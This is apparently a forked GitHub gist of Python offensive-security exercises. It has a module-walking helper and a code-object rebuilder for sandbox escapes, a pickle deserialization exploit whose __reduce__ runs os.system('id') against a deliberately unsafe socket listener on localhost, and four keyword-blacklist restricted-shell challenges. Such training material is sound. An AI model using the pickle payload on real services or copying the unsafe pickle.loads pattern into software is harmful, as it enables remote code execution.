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Forked from MarkBaggett/1 - pythons_sinister_secrets.md
Last active March 12, 2022 01:50
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Come To The Darkside - Pythons Sinister Secrets
def getmodules(mods = "root",depth=0,path=[],verbose=False):
modlist = []
if mods == "root":
mods = dict([(x,y) for (x,y) in globals().items() if str(y)[:7]=="<module"])
if verbose: print(depth, "PROCESSING ALL MODULES", mods)
for eachname,eachmod in mods.items():
if verbose: print("+"*depth, "PATH {0} CURRENT ITEM {1}".format(path,eachname))
if eachname in path:
if verbose: print("Already have {0} in path {1}".format(eachname,path))
continue
if verbose: print("OUTPUT :", ".".join(path+[eachname]))
modlist.append( ".".join(path+[eachname]) )
submods = dict([(x,y) for (x,y) in eachmod.__dict__.items() if str(y).startswith("<module")])
if submods:
if verbose: print("CALLING AGAIN FOR SUBMODS OF",eachname, submods)
modlist.extend(getmodules(submods,depth+1,path+[eachname], verbose=verbose))
else:
if verbose: print("MODULE {} has no submodules.".format(eachname))
return modlist
import sys
def makeobject(afunction):
print("Generating a function for version {}.{} (same version as this machine)".format(sys.version_info.major, sys.version_info.minor))
newstr = ""
newstr += "def a():\n"
newstr += " return\n\n"
if sys.version_info.major == 2:
co = afunction.__code__
if sys.version_info.minor not in [5,6,7]:
print("This code has not been tested on this version of python. It may not work.")
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}','{9}',{10},'{11}')".format( co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code.encode("string_escape"),co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab.encode("string_escape"))
elif sys.version_info.major == 3:
co = afunction.__code__
if sys.version_info.minor in [8]:
print("This code has been tested on Python 3.8, Windows 10 Pro 20H2")
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},{9},'{10}','{11}',{12},{13})".format(co.co_argcount, co.co_posonlyargcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code, co.co_consts, co.co_names, co.co_varnames,co.co_filename, co.co_name, co.co_firstlineno, co.co_lnotab)
elif sys.version_info.minor not in [5,8]:
print("This code has not been tested on this version of python. It may not work.")
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9}','{10}',{11},{12})".format( co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code,co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab)
else:
print("This version of python is not tested and may not work")
print(newstr)
import pickle,socket
class evil(object):
def __reduce__(self):
import os
return (os.system, ('id',))
x = evil()
s = socket.socket()
s.connect(("127.0.0.1",9000))
s.send(pickle.dumps(x))
import pickle,socket
s = socket.socket()
s.bind(("",9000))
s.listen(1)
client,metadata = s.accept()
pickle.loads(client.recv(4096))
import readline,code
def readfilter(*args,**kwargs):
inline = input(*args,**kwargs)
if any(map(lambda x:x in inline,blacklist)):
print("Command is forbidden!")
return ""
return inline
print("Challenge:Execute the 'id' command. Type CTRL-D to move on to the next challenge")
blacklist = ['import','eval','compile']
code.interact(banner='Restricted shell #1', readfunc=readfilter)
print("Challenge:Execute the 'id' command. Type CTRL-D to move on to the next challenge")
blacklist = ['import','exec','compile']
code.interact(banner='Restricted shell #2', readfunc=readfilter)
print("Challenge:Execute the 'id' command. Type CTRL-D to move on to the next challenge")
blacklist = ['import','exec','eval']
code.interact(banner='Restricted shell #3', readfunc=readfilter)
print("Challenge:Execute the 'id' command. Type CTRL-D to move on to the next challenge")
blacklist = ['import','exec','eval','compile']
code.interact(banner='Restricted shell #4', readfunc=readfilter)
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